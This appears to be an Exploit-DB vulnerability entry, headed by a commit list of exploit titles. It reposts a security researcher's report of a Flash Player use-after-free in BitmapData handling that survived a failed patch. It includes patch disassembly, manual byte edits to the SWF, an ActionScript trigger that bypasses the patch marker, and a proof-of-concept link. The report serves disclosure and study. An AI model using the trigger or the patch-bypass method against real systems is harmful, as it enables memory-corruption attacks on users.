ed0e1e4d44
1979 changes to exploits/shellcodes Couchdb 1.5.0 - 'uuids' Denial of Service Apache CouchDB 1.5.0 - 'uuids' Denial of Service Beyond Remote 2.2.5.3 - Denial of Service (PoC) udisks2 2.8.0 - Denial of Service (PoC) Termite 3.4 - Denial of Service (PoC) SoftX FTP Client 3.3 - Denial of Service (PoC) Silverstripe 2.3.5 - Cross-Site Request Forgery / Open redirection SilverStripe CMS 2.3.5 - Cross-Site Request Forgery / Open Redirection Silverstripe CMS 3.0.2 - Multiple Vulnerabilities SilverStripe CMS 3.0.2 - Multiple Vulnerabilities Silverstripe CMS 2.4 - File Renaming Security Bypass SilverStripe CMS 2.4 - File Renaming Security Bypass Silverstripe CMS 2.4.5 - Multiple Cross-Site Scripting Vulnerabilities SilverStripe CMS 2.4.5 - Multiple Cross-Site Scripting Vulnerabilities Silverstripe CMS 2.4.7 - 'install.php' PHP Code Injection SilverStripe CMS 2.4.7 - 'install.php' PHP Code Injection Silverstripe Pixlr Image Editor - 'upload.php' Arbitrary File Upload SilverStripe CMS Pixlr Image Editor - 'upload.php' Arbitrary File Upload Silverstripe CMS 2.4.x - 'BackURL' Open Redirection SilverStripe CMS 2.4.x - 'BackURL' Open Redirection Silverstripe CMS - 'MemberLoginForm.php' Information Disclosure SilverStripe CMS - 'MemberLoginForm.php' Information Disclosure Silverstripe CMS - Multiple HTML Injection Vulnerabilities SilverStripe CMS - Multiple HTML Injection Vulnerabilities Apache CouchDB 1.7.0 and 2.x before 2.1.1 - Remote Privilege Escalation Apache CouchDB 1.7.0 / 2.x < 2.1.1 - Remote Privilege Escalation Monstra CMS before 3.0.4 - Cross-Site Scripting Monstra CMS < 3.0.4 - Cross-Site Scripting (2) Monstra CMS < 3.0.4 - Cross-Site Scripting Monstra CMS < 3.0.4 - Cross-Site Scripting (1) Navigate CMS 2.8 - Cross-Site Scripting Collectric CMU 1.0 - 'lang' SQL injection Joomla! Component CW Article Attachments 1.0.6 - 'id' SQL Injection LG SuperSign EZ CMS 2.5 - Remote Code Execution MyBB Visual Editor 1.8.18 - Cross-Site Scripting Joomla! Component AMGallery 1.2.3 - 'filter_category_id' SQL Injection Joomla! Component Micro Deal Factory 2.4.0 - 'id' SQL Injection RICOH Aficio MP 301 Printer - Cross-Site Scripting Joomla! Component Auction Factory 4.5.5 - 'filter_order' SQL Injection RICOH MP C6003 Printer - Cross-Site Scripting Linux/ARM - Egghunter (PWN!) + execve(_/bin/sh__ NULL_ NULL) Shellcode (28 Bytes) Linux/ARM - sigaction() Based Egghunter (PWN!) + execve(_/bin/sh__ NULL_ NULL) Shellcode (52 Bytes)
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Source: https://code.google.com/p/google-security-research/issues/detail?id=377&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
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[Deadline tracking for https://code.google.com/p/chromium/issues/detail?id=487237]
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Credit is to bilou, working with the Chromium Vulnerability Reward Program
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There is a use after free in Flash caused by an improper handling of BitmapData objects in the DisplacementMapFilter.mapBitmap property.
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This is almost a repost of Issue 457680 due to a patch failure.
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VERSION
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Chrome Version: N/A now, Flash StandAlone Debug 17.0.0.188
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Operating System: [Win7 x64 SP1]
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REPRODUCTION CASE
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The AS2 mapBitmap_v2_as2.fla can be compiled with Flash CS5. Some bytes must be changed manually to trigger the issue (see below).
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Just put mapBitmap_v2_as2.swf in a browsable directory and run the swf with Chrome. It might crash while dereferencing 0x41424344 (hopefully, not tested yet because not available).
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After compiling mapBitmap_v2_as2.swf, I had to change the bytes at offset 0x92B in the (MyBitmapData constructor):
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52 17 96 02 00 04 03 26 to 17 17 17 17 17 17 17 17 (actionPOP)
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The description is exactly the same as in Issue 457680 so I won't repost it. Here are just my comments on the patch.
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They basically added a marker at offset +0xDC in the flash standalone debugger (the standalone player is not available at the time of writing):
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.text:005AD629 loc_5AD629:
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.text:005AD629 lea ecx, [esi+0DCh]
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.text:005AD62F push edi
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.text:005AD630 mov [ebp+1C4h+var_198], ecx
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.text:005AD633 call xsetUseMarker
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.text:0059F762 cmp byte ptr [ecx], 0 ; is the marker present?
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.text:0059F765 jz short loc_59F77B
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.text:0059F767 cmp [esp+arg_0], 0 ; is 0 provided?
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.text:0059F76C jz short locret_59F77E
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.text:0059F76E mov ecx, dword_EE4788 ; kill the program
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.text:0059F774 call sub_9798C0
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.text:0059F779 jmp short locret_59F77E
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.text:0059F77B
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.text:0059F77B loc_59F77B:
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.text:0059F77B mov byte ptr [ecx], 1 ; else set the marker
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.text:0059F77E
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.text:0059F77E locret_59F77E:
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.text:0059F77E retn 4
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That marker is then removed when we exit the BitmapData dispatcher:
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.text:005AEF29 mov eax, [ebp+1C4h+var_198] ; jumptable 005AD654 default case
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.text:005AEF2C mov byte ptr [eax], 0
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So, to trigger again the issue, we just have to put an extra call to getPixel32 for example:
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var o = new Object()
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o.valueOf = function () {
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bd.getPixel32(1,4) // remove the marker :)
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f()
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for (var i = 0; i<0x10;i++) {
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var tf:TextFormat = new TextFormat()
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tf.tabStops = b
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a[i] = tf
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}
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return 4
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}
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bd.getPixel32(o,4)
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And we're done :)
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---
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Proof of Concept:
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https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/37861.zip |